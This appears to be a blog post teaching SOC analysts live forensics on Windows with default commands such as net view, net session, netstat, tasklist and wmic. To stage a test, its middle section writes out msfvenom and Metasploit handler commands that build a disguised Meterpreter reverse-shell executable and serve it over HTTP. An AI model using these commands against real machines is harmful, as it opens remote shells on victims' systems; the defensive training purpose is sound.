In this blog post, I will provide an introduction of how to do live forensics on a Windows machine by using default command line tools. We will think of a compromised machine as a big haystack. In order to find out information about the attack, we will start with network connections and work backwards from there. This blog post is heavily inspired by the 16-hour seminar “SOC Core Skills” by John Strand (Black Hills Information Security).
The methods that I will present next will work in the majority of situations. However, there are cases where these tools won’t detect malicious activity. This is the case when the attacker uses a protocol that is not connection-oriented, like UDP1, or when the threat actor creates malware that has the capability to hide from our scans.
Detect a new share on an endpoint
Threat actors usually set up share drives on an infected endpoint. They do this because they don’t pull data directly from e.g., a SQL server. Instead they first copy files from the server to the infected endpoint, and then exfiltrate those files from there.
This section deals with the command net view which detects shares2 on a computer. This tool gives the SOC analyst the capability of detecting an attack by listing shares. At this point, it is important to notice that companies usually have servers that work as file shares. Thus, we do not expect to see share drives on an endpoint.
In order to demonstrate how this command works, we will first create a share on Windows 10.
- Open File Explorer > Go to “C:\” > Create folder “Evil-Share”
- Right click on “Evil-Share” > Properties > Sharing tab > Share > From dropdown, choose Everyone and click Add > Change Permission Level to Read/Write > Share (You might have to turn on File Sharing) > Done > Close
Now “Evil Share” is visible when running net view.
Reconstruct the attack chain
Incidents are not isolated systems to be reviewed. Instead they are interactions between different machines. For this reason, it is important to track the communication between different machines on a network.
The command net session lists the inbound connections of a machine3. If the attacker were to pull data from an SQL server on our network and we were to run net session on that server, we would be able to see the communication between that server and the compromised endpoint.
Identify which process started the malicious executable
In this section, we will learn how to track down the name of the process that started the malicious executable on a Windows endpoint. In order to do this we will use netstat, a tool that displays protocol statistics, and current TCP and UDP connections.
First, we create the malicious file and serve it from a machine running Kali. We create the payload for a reverse TCP shell with msfvenom and save it in the TrustMe.exe. We then serve this executable via a Python HTTP Server on port 8000. In parallel, we also start a reverse TCP handler.
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<YOUR KALI IPv4> lport=4444 -f exe -o /tmp/TrustMe.execd /tmppython -m SimpleHTTPServer 8000&- Hit Enter
msfconsole -quse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost <YOUR KALI IPv4>run
On Windows, open Edge and go to http://<KALI IPv4>:8000 and run TrustMe.exe from the browser without saving it. If you get a security warning, click Run. If you look at your Kali terminal tab, you will see that we now have a Meterpreter session.
In the next steps, we will find out which process launched TrustMe.exe using the command line. In this case, the answer is obvious as we started the executable, but the technique remains valuable nevertheless.
We first run netstat -naob4. This command will let us find out whether suspect processes are running and also show the process name and ID, and the IP address of the machine they are communicating to.
We can investigate further and check if 172.28.254.28 can be resolved to any known domain by our DNS.
The next step is to investigate process 3132 further. We can list all the modules that this process uses by running tasklist /m /fi "pid eq 3132"5. A quick online search of the DLLs displayed shows that they contain kernel functions. Unfortunately, this doesn’t confirm whether the executable is malicious.
We now look for the command line invocation of TrustMe.exe. The result of wmic process where processid=3132 get commandline6 shows that the executable was invoked by the Edge browser helper. Moreover, we also learn that this is a temporary file.
The last remaining step is to understand the heritage of this process, that is the reaction chain that triggered it. In this case, it is quite simple. TrustMe.exe was executed by browser_broker.exe, which is a software component of Microsoft Edge.
Using only standard command line tools, we were able to detect a TCP connection to a suspicious IP address that was created by TrustMe.exe. Moreover, we also listed the DLLs used by this executable, its command line invocation and its parent process.
I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!
- We only tackle connections with state ESTABLISHED, as this is a live forensics analysis. UDP connections have no state and thus this method does not work for them.
- A folder on a machine that is shared with the rest of the network.
- net use should be used to list outbound connections instead.
- -n: Display addresses and port numbers in numerical form (no attempt to determine names); -a: Display all TCP and UDP connections, and listening ports; -o: Display the process ID (PID) associated with each connection; -b: Display the executable involved in creating each connection or listening port.
- /m: module; /fi: filter; PID filter with operator eq (equal).
- wmic stands for Windows Manager Instrumentation Command-line.